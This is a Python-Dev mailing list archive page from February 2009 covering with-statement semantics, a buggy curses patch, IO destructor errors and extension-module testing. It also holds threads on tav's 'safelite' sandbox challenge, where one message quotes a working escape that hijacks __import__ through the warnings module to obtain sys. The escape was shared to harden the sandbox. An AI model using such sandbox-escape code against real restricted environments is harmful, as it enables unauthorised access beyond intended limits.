Mailman 3 February 2009 - Python-Dev

Allow __enter__() methods to skip the with statement body?
by Nick Coghlan 25 Feb '09

25 Feb '09

An interesting discrepancy [1] has been noted when comparing contextlib.nested (and contextlib.contextmanager) with the equivalent nested with statements. Specifically, the following examples behave differently if cmB().__enter__() raises an exception which cmA().__exit__() then handles (and suppresses): with cmA(): with cmB(): do_stuff() # This will resume here without executing "Do stuff" @contextlib.contextmanager def combined(): with cmA(): with cmB(): yield with combined(): do_stuff() # This will raise RuntimeError complaining that the underlying # generator didn't yield with contextlib.nested(cmA(), cmB()): do_stuff() # This will raise the same RuntimeError as the contextmanager # example (unsurprising, given the way nested() is implemented) The problem arises any time it is possible to skip over the yield statement in a contextlib.contextmanager based context manager without raising an exception that can be seen by the code calling __enter__(). I think the right way to fix this (as suggested by the original poster of the bug report) is to introduce a new flow control exception along the lines of GeneratorExit (e.g. SkipContext) and tweak the expansion of the with statement [2] to skip the body of the statement if __enter__() throws that specific exception: mgr = (EXPR) exit = mgr.__exit__ # Not calling it yet try: value = mgr.__enter__() except SkipContext: pass # This exception handler is the new part... else: exc = True try: VAR = value # Only if "as VAR" is present BLOCK except: # The exceptional case is handled here exc = False if not exit(*sys.exc_info()): raise # The exception is swallowed if exit() returns true finally: # The normal and non-local-goto cases are handled here if exc: exit(None, None, None) Naturally, contextlib.contextmanager would then be modified to raise SkipContext instead of RuntimeError if the generator doesn't yield. The latter two examples would then correctly resume execution at the first statement after the with block. I don't see any other way to comprehensively fix the problem - without it, there will always be some snippets of code which cannot correctly be converted into context managers, and those snippets won't always be obvious (e.g. the fact that combined() is potentially a broken context manager implementation would surprise most people - it certainly surprised me). Thoughts? Do people hate the idea? Are there any backwards compatibility problems that I'm missing? Should I write a PEP or just add the feature to the with statement in 2.7/3.1? Cheers, Nick. [1] http://bugs.python.org/issue5251 [2] http://www.python.org/dev/peps/pep-0343/ -- Nick Coghlan | ncoghlan(a)gmail.com | Brisbane, Australia ---------------------------------------------------------------

3 3

Adding support to curses library
by Heracles 25 Feb '09

25 Feb '09

Hello, I am working on a patch to add to the _cursesmodule.c file of the Python core libraries. I figured I would take on one of the implemented functions to try to get my feet wet contributing to the project. At any rate, I have the following function defined in the 2.7.a version updated from SVN this morning: ------------- Snippet --------------------------- // Insert new method color_set Steve Owens 2/24/2009 // The curses library color_set function has the following signature: // int color_set(short color_pair_number, void* opts); static PyObject * PyCurses_color_set(PyObject *self, PyObject *args) { short color_pair_number; void * opts; int erg; // These macros ought to be documented in the API docs // but they aren't yet. PyCursesInitialised PyCursesInitialisedColor // Per ncurses Man Page: // The routine color_set sets the current color of the given window to // the foreground/background combination described by the color_pair_number. // The parameter opts is reserved for future use, applications must supply a // null pointer. switch(PyTuple_Size(args)) { case 1: // Dont make them pass a useless null pointer. if (!PyArg_ParseTuple(args, "h", &color_pair_number)) return NULL; break; case 2: // Allow them to pass the opts pointer so that when ncurses is later updated. // This method will still work. if (!PyArg_ParseTuple(args, "hO&", &color_pair_number, &opts)) return NULL; break; default: PyErr_SetString(PyExc_TypeError, "color_set requires 1 or 2 arguments (color_pair_number[, opts]?)"); return NULL; } erg = color_set(color_pair_number, opts); // Debating on forcing null here. if (erg == ERR) return PyCursesCheckERR(erg, "color_set"); else PyInt_FromLong((long) 1L); } -------------End Snippet --------------------------- I also have the following added in (see last line of the snippet): ------------- Snippet --------------------------- static PyMethodDef PyCurses_methods[] = { {"baudrate", (PyCFunction)PyCurses_baudrate, METH_NOARGS}, {"beep", (PyCFunction)PyCurses_beep, METH_NOARGS}, {"can_change_color", (PyCFunction)PyCurses_can_change_color, METH_NOARGS}, {"cbreak", (PyCFunction)PyCurses_cbreak, METH_VARARGS}, {"color_content", (PyCFunction)PyCurses_Color_Content, METH_VARARGS}, {"color_pair", (PyCFunction)PyCurses_color_pair, METH_VARARGS}, {"color_set", (PyCFunction)PyCurses_color_set, METH_VARARGS}, -------------End Snippet --------------------------- The code compiles and installs fine, but when I run the following unit test, I get a segmentation fault: ------------- Snippet --------------------------- import unittest, curses from test import test_support def testCursesColorSet(stdscrn): curses.init_pair(1, curses.COLOR_RED, curses.COLOR_WHITE) curses.init_pair(2, curses.COLOR_WHITE, curses.COLOR_BLUE); i = curses.color_set(1, NULL); stdscrn.addstr("RED/BLACK (%0)\n".format(i)) i = curses.color_set(2, NULL); stdscrn.print("WHITE/BLUE (%0)\n".format(i)) i = curses.color_set(0, NULL); stdscrn.print("Default (%0)\n".format(i)) def test_main(stdscrn): curses.savetty() if curses.has_color(): testCursesColorSet(stdscrn) else stdscr.addstr( "Test Aborted: Color not supported on this terminal.") if __name__ == '__main__': curses.wrapper(test_main) -------------End Snippet --------------------------- It turns out that by commenting out this line in the _cursesmodule.c code, allows the unit test to run obviously reporting the error as expected: ------------- Snippet --------------------------- //erg = color_set(color_pair_number, opts); // Debating on forcing null here. -------------End Snippet --------------------------- At any rate I am stuck. I am still trying to build just a plain C file which will test the color_set function outside of python, but that is another task. Any suggestions? -- View this message in context: http://www.nabble.com/Adding-support-to-curses-library-tp22191916p22191916.… Sent from the Python - python-dev mailing list archive at Nabble.com.

5 7

Paving the Way to Securing the Python Interpreter [Detailed Summary]
by tav 25 Feb '09

25 Feb '09

Dear fellow Python lovers, I have written up a detailed summary on: http://tav.espians.com/paving-the-way-to-securing-the-python-interpreter.ht… Please read it. In the article I give the rationale for my patch, which I've updated at: * http://codereview.appspot.com/20051/show Please review it. Consider it as simply a bug fix for the current set of restricted attributes in Python. In the article I also provide some much needed documentation on Python's existing restricted execution framework. Martin asked for this. Fell free to adapt the documentation into Doc/ articles. You can find the reStructuredText source of the article at http://github.com/tav/blog/tree/master Many thanks to everyone who took part in the challenge -- it was very informative and fun! Please let me know what else I need to do to get the patch accepted. Thanks! -- love, tav plex:espians/tav | tav(a)espians.com | +44 (0) 7809 569 369 http://tav.espians.com | http://twitter.com/tav | skype:tavespian

1 0

File Path retrieving problem
by Sudhir Kakumanu 25 Feb '09

25 Feb '09

Hi all, I am new to Python, i have installed python 2.5.4 and it is my requirement. I need to retrieve the path of filename in python. I have found some API's to get this: from os.path import realpath print realpath("NEWS.txt") # here NEWS.txt exists and it shows the path of the file as C:\Python25\WorkSpace\NEWS.txt print realpath("abc.txt") # here abc.txt does not exist but still it shows C:\Python25\WorkSpace\abc.txt can anybody tell the reason why???? Now took some safety measures: found = lexists(realpath(filename)) if found == 0: print "Not Found" else: print realpath(filename) i have given the filename as "NEWS.txt" and "abc.txt" but i am always getting the output as "Not Found" Can anyone please tell me where am i doing wrong???? also any suggestions to retrieve the filepath from a given filename is highly appreciated. Thanks in advance. Regards, Sudhir

2 1

Re: [Python-Dev] Challenge: Please break this! [Now with blog post]
by tav 24 Feb '09

24 Feb '09

Daniel emailed in the exploit below and it is pretty devastating. It takes advantage of the fact that the warnings framework in 2.6+ dynamically imports modules without being explicitly called!! I've fixed this hole in safelite.py, but would be interested to know if there are other non-user-initiated dynamically imported modules? Thanks Daniel for bringing this to our attention! On Tue, Feb 24, 2009 at 4:46 AM, Daniel (ajax) Diniz <ajaksu(a)gmail.com> wrote: > Here's my attempt. Uses the builtin warnings module.You might need to > change 'args[1]' to 'args[2]' depending on your environment. > > I really don't like to post these to public MLs, but feel free to do > so if you think no harm may arise from this one ;) > > Daniel > ---- > > from safelite import FileReader > > # Let's build a fake module > warnings = __builtins__.__class__('warnings') > > # Fill it with deception > warnings.default_action = "ignore" > > # And provide a supporting thug > def __import__(*args): > try: > print "How nice:\n", args[1].keys() > global sys > sys = args[1]['sys'] > > except Exception, v: > print "Exception:", v > return warnings > > # Put the bogus module at the doorstep... > __builtins__.warnings = warnings > > # and have the thug replacing the doorman > __builtins__.__import__ = __import__ > > # An unsuspecting costumer passes by... > FileReader('safelite.py').seek(1.1) > > # ... and is brutally mugged :) > print sys > print dir(sys) > -- love, tav plex:espians/tav | tav(a)espians.com | +44 (0) 7809 569 369 http://tav.espians.com | http://twitter.com/tav | skype:tavespian

6 9

Core sprint page for PyCon 2009 now up
by Brett Cannon 24 Feb '09

24 Feb '09

If you plan to attend go to http://us.pycon.org/2009/sprints/projects/python-core/ and fill in your name and when you plan to be there (not required, though; just nice). -Brett

1 0

Python jail: whitelist vs blacklist
by Victor Stinner 24 Feb '09

24 Feb '09

Hi, Today it's clear that tav's jail is broken. Many hackers proved how to break it. Fixing each hole is maybe not the good solution. IMHO the problem is that tav choosed the blacklist approach: hide some "evil" attributes/functions and hope that the other are safe... which is wrong (eg. evil compile(), reload(), isinstance(), str !!!, TypeError, ...). A better approach would be to create a new world (namespace) from an empty namespace and then add our "secure" functions/types using strong validations (using a whitelist instead of a blacklist). Examples: - why compile() was still available? - why __builtins__ is modifiable? - why __class__ is readable? We should built an empty world and then add functions, types, attributes one by one until we can display an hello world ;-) -- This approach was implemented in PyPy using two interpreters. In CPython, we may use proxies on anything to check all operations. jail -- validations --> real world jail <-- proxy objects -- real world tav's jail might be converted to the whitelist approach: - add proxy to __builtins__ - add proxy to globals() - add proxy to dir() - ... well, add proxies to anything going to the jail ;-) and make sure that a proxy can not be modified by itself or read private attributes My approach is maybe naive and imposible to implement :-) -- Victor Stinner aka haypo http://www.haypocalc.com/blog/

5 4

Silencing IO errors on del/dealloc?
by Antoine Pitrou 24 Feb '09

24 Feb '09

Hello, The Python version of IO lib has taken the stance that all errors happening in the destructor of an IO object are silenced. Here is the relevant code in IOBase: def __del__(self) -> None: """Destructor. Calls close().""" # The try/except block is in case this is called at program # exit time, when it's possible that globals have already been # deleted, and then the close() call might fail. Since # there's nothing we can do about such failures and they annoy # the end users, we suppress the traceback. try: self.close() except: pass However, this seems very unreliable and dangerous to me. Users will not be warned if their IO objects are not closed properly (which might be due to programming errors), and data possibly gets corrupted. I would like to change this behaviour so that the "try/except" enclosure above is removed, letting __del__ at least print those (unraisable) errors on the console. Of course I also advocate doing so in the C version of the IO lib. Regards Antoine.

5 10

Challenge: Please break this! (was: Reviving restricted mode)
by tav 24 Feb '09

24 Feb '09

Hey all, As an attempt to convince everyone of the merits of my functions-based approach to security, I've come up with a simple challenge. I've attached it as safelite.py The challenge is simple: * Open a fresh Python interpreter * Do: >>> from safelite import FileReader * You can use FileReader to read files on your filesystem * Now find a way to *write* to the filesystem from your interpreter Please note that the aim of this isn't to protect Python against crashes/segfaults or exhaustion of resources attacks, so those don't count. I'm keen to know your experiences even if you don't manage to write to the filesystem -- and especially if you do! Dinner and drinks on me for an evening -- when you are next in London or I am in your town -- to the first person who manages to break safelite.py and write to the filesystem. Good luck and thanks! =) > If you block __closure__ and __globals__ on function objects you will get a > semblance of a private namespace. That way you might (I have not thought > this one through like securing the interpreter for embedding) be able to get > what you need to safely pass in Python code through the globals of the code > being executed. Brett, this is exactly what I do. You also need to restrict func_code. The patch is simply for closing the other loopholes: type.__subclasses__, GeneratorType.gi_frame and gi_code. All possible in a patch of 6 lines of code thanks to Python's existing restricted framework in the interpreter. Please review and accept =) * http://codereview.appspot.com/20051 * http://codereview.appspot.com/21051 Thanks! -- love, tav plex:espians/tav | tav(a)espians.com | +44 (0) 7809 569 369 http://tav.espians.com | @tav | skype:tavespian

7 14

Choosing a best practice solution for Python/extension modules
by Brett Cannon 23 Feb '09

23 Feb '09

With io getting rewritten as an extension module, I think it's time to try to come up with a good best practice scenario for how to be able to control when a module uses a pure Python implementation and when it uses extension module optimizations. This is really only important for testing as if the extension is missing then the pure Python version is just flat-out used. As an example, let's just go with pickle and the Pickler class, with _pickle as the extension module. If you look at examples in the standard library, their seems to be two approaches. One is simply to blast the pure Python version: class Pickler: pass try: from _pickle import Pickler except ImportError: pass This is bad, though, as the only way to get a pure Python version for testing is to clear out pickle and _pickle from sys.modules, put None in for sys.modules['_pickle'] and then import pickle again. Yuck. The other option is to hide the pure Python version:: class _Pickler: pass try: from _pickle import Pickler # pickle actualy imports * except ImportError: Pickler = _Pickler Better, but it still means that you are mucking around with hidden names and it hard-codes what part of the module gets replaced (using import * gets around this, but it also blasts things like __doc__ which you probably don't want). Now, from what I can tell, Antoine is suggesting having _pyio and a _io and then io is simply: try: from _io import * except ImportError: from _pyio import * That works for testing as you can then have test classes have an attribute for the module to use and then create two subclasses which set what module to use (kind of like how test_warnings currently does it). But this only really works for complete module replacements, not modules like pickle where only key portions have been rewritten (which happens more often than the complete rewrite). So here is my crazy idea that I came up with late last night (i.e. might not make a lot of sense). First, the module with the pure Python code is the main version. At the end of that module, you make a function call: ``use_extension(__name__, '_pickle')``. That function then does some "magic":: def use_extension(py_name, ext_name): try: ext = importlib.import_module(ext_name) except ImportError: return py = sys.modules[py_name] swapped = {} for name in (x for x in dir(ext) if not x.startswith('__')): swapped[name] = getattr(py, name) setattr(py, name, getattr(ext, name)) py.__extension__ = ext_name, swapped You can also have an undo_extension('pickle') and it will unroll what was changed. This makes choosing what version of a module to use very simple in tests as it is a single function call in one direction or another. And doing it this way also allows for different VMs to choose different things to replace. For instance IronPython might decide that most of pickle is fine and only want to change a single function with an extension; this solution lets them do that without it being hard-coded in the standard library. At worst other VMs simply need to refactor the Python code so that there is a class or function that can be replaced. So go ahead and tear this apart so that we can hopefully reach a consensus that makes sense so that at least testing can easily be done. -Brett

12 37